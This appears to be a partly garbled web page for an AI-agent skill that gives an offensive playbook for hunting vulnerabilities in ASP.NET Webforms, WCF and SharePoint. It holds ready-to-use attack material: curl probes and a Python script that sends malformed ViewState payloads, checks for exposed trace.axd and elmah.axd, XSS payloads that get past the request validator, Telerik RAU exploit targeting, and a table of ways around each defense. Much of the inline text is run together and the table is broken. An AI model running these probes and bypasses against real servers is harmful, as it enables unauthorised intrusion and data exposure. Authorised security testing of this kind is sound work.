Loading...
Loading...
Hunt ASP.NET-specific surface — ViewState deserialization (signed-only vs encrypted), machineKey recovery, dual-parser MAC-bypass anti-pattern, request-validator bypass, trace.axd/elmah.axd disclosure, load-balanced ViewState cross-node failures, SafeControl enumeration via reflection, customErrors mode=Off stack-trace leaks, classic Webforms .aspx/.asmx/.svc surface. Built for ASP.NET Webforms + WCF + SharePoint farms.
npx skill4agent add elementalsouls/claude-bughunter hunt-aspnetTelerik.Web.UI.WebResource.axd*.svc?WSDLX-AspNet-Version: 4.0.30319 (classic — disclosure on its own)
X-Powered-By: ASP.NET
X-AspNetMvc-Version: 5.2
Server: Microsoft-IIS/10.0
Set-Cookie: ASP.NET_SessionId=...
Set-Cookie: .ASPXAUTH=... (Forms auth cookie)
Set-Cookie: .ASPXFORMSAUTH=...
Set-Cookie: ASP.NET_SessionId=...; SameSite=None (suggests cross-origin embedding)<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="..." />
<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="..." />
<input type="hidden" name="__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="" />
↑ EMPTY = signed-only, not encrypted = exploitable if key leaks
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="..." />
<input type="hidden" name="__REQUESTDIGEST" id="__REQUESTDIGEST" value="0x...,...">
↑ SharePoint CSRF token; if anon-issued, see hunt-sharepoint/trace.axd (per-app trace viewer; sometimes anon-accessible)
/elmah.axd (ELMAH error log viewer)
/elmah.axd/?id=... (ELMAH RCE / stack-trace leak)
/*.svc (WCF services)
/*.svc?wsdl (WCF WSDL)
/*.svc/mex (Metadata Exchange)
/*.asmx (legacy SOAP)
/*.asmx?WSDL (legacy SOAP description)
/*.asmx?disco (legacy discovery)
/Telerik.Web.UI.WebResource.axd (Telerik AJAX components)
/ChartImg.axd (DataVisualization controls; historic deserialization)
/ScriptResource.axd (script resource handler; sometimes leaks paths)
/WebResource.axd (web resource handler)
/_vti_bin/* (SharePoint Web Service Forwarder)
/api/ (Web API 2.x is ASP.NET on classic framework)
/signin (often FedAuth / WS-Federation)Server: Microsoft-IIS/10.0/8.5/7.5X-AspNet-VersionASP.NET_SessionId.ASPXAUTHFedAuth__VIEWSTATEMicrosoftSharePointTeamServicesstart.aspxVersion Information: Microsoft .NET Framework Version:X.X.XXXXX; ASP.NET Version:X.X.XXXX.X__VIEWSTATEname="__VIEWSTATE"__VIEWSTATEENCRYPTEDvalue=""<machineKey>value="something"AAAA"Validation of viewstate MAC failed""Validation of viewstate MAC failed""Validation of viewstate MAC failed"A * 100000"Validation of viewstate MAC failed"<xss/>/wEPDwUKMTcxNzgyOTQwMmRkkz9p4lzA..."Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey..."trace.axdelmah.axd.svc?wsdl?mex<<script><%@ ... %>customErrorscustomErrors mode="Off"RemoteOnlyTelerik.Web.UI.WebResource.axd?type=raudialogParametersHolderhunt-sharepointPicker.aspx?PickerDialogType=<TypeName>Microsoft.SharePoint.*.WebControls.*curl -sk -X POST "https://target.example/page.aspx" \
--data "__VIEWSTATE=AAAA&__VIEWSTATEGENERATOR=AAAA"
# Inspect body for:
# - "Validation of viewstate MAC failed" → confirms signed ViewState
# - "The state information is invalid for this page" → confirms ALTERNATE parser path
# - "Version Information: Microsoft .NET Framework Version:X.X.XXXXX" → exact patch level
# - "Microsoft.SharePoint.Client.ServerStub..." → SharePoint farmimport requests, re, json
S = requests.Session(); S.verify = False
# Get fresh form
r = S.get("https://target.example/path/page.aspx")
real_vs = re.search(r'__VIEWSTATE" id="__VIEWSTATE" value="([^"]+)', r.text).group(1)
real_vsg = re.search(r'__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="([^"]+)', r.text).group(1)
# Test 7 payload shapes
for label, vs in [
("trivial", "AAAA"),
("real", real_vs),
("flipped-bit", real_vs[:50] + "X" + real_vs[51:]),
("oversize", "A" * 100000),
("base64", "VGVzdE1hcmtlcjY3OFhZWg=="),
("xml-shaped", "<xss/>"),
("losformatter", "/wEPDwUKMTcxNzgyOTQwMmRkkz9p4lzA" + "A"*50),
]:
r = S.post("https://target.example/path/page.aspx",
data={"__VIEWSTATE": vs, "__VIEWSTATEGENERATOR": real_vsg})
title = re.search(r'<title>([^<]+)</title>', r.text)
title = title.group(1)[:100] if title else "—"
print(f" [{label:14s}] {r.status_code} {title}")trace.axdcurl -sk -o /dev/null -w "%{http_code}\n" "https://target.example/trace.axd"
# 200 = full trace dump exposed → Critical
# 403 = mod set to localhost-only → check via X-Forwarded-For: 127.0.0.1# Find all .svc files
curl -sk "https://target.example/" -o body.html
grep -oE '/[a-zA-Z0-9/_-]+\.svc' body.html | sort -u
# For each found:
curl -sk "https://target.example/Service.svc?wsdl" | xmllint --format - | head -60# Default: <script>alert(1)</script> in ?q= → "Potentially dangerous Request.QueryString value detected"
# Bypasses that sometimes work:
?q=%3cscript%3e (URL-encoded — depends on validator config)
?q=<svg/onload=alert(1)> (depends on validator version)
?q=<%00script> (NUL-byte; older validators)
?q=javascript:alert(1) (no < at all — passes validator)
Cookie: foo=<script> (cookie body not validated by default)
Referer: http://x.com/<script> (referer not validated in classic ASP.NET)# Fingerprint Telerik
curl -sk "https://target.example/Telerik.Web.UI.WebResource.axd?type=rau" -X POST
# If response is RadAsyncUploadHandler-style → Telerik present; try keys
# Public exploits require leaked machineKey AND telerikEncryptionKeyviewStateEncryption="Auto"__VIEWSTATEENCRYPTEDvalidationKey<machineKey><customErrors mode="Off">trace.axdelmah.axd<system.web><trace enabled="true">.svcObjectStateFormatterLosFormatter<machineKey>hunt-miscSafeControls<SafeControl>| Defense | Bypass |
|---|---|
| Recover both decryption + validation keys from any source-code leak / config-disclosure / VS forge primitive; without keys, deserialization cannot be triggered |
Request validator blocks | Move payload to Cookie / Referer / JSON body / multipart filename — validator doesn't reach those contexts in classic ASP.NET |
| Recover |
| Set |
WCF | Try |
| Telerik upload patched | Check the Telerik version: anything pre-2017Q1 (build 2017.1.118 or earlier) is the original RAU RCE. Check 2017Q3 - 2019Q3 for CVE-2019-18935 |
| Inheritance gate ( |
| Force a different error path: invalid Content-Length, malformed ViewState that triggers a parser-level exception below the customErrors handler |
trace.axdelmah.axd__VIEWSTATEENCRYPTED__VIEWSTATEENCRYPTEDtriage-validationhttps://target-portal.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit__VIEWSTATE__VIEWSTATEENCRYPTED=""__REQUESTDIGEST_api/contextinfoObjectStateFormatter/Telerik.Web.UI.WebResource.axd?type=rauaspx/app_data/trace.axdAuthorization: Bearer eyJ...elmah.axdhunt-rce<%@ Page enableViewStateMac="true" viewStateEncryptionMode="Never" %>elmah.axdhunt-rceTypeConfuseDelegatew3wp.exehunt-sharepoint/_layouts/hunt-sharepointhunt-ntlm-infoWWW-Authenticate: NTLMhunt-ntlm-infom365-entra-attackhunt-file-uploadhunt-file-upload.aspxtriage-validationtrace.axdelmah.axdtriage-validationredteam-report-template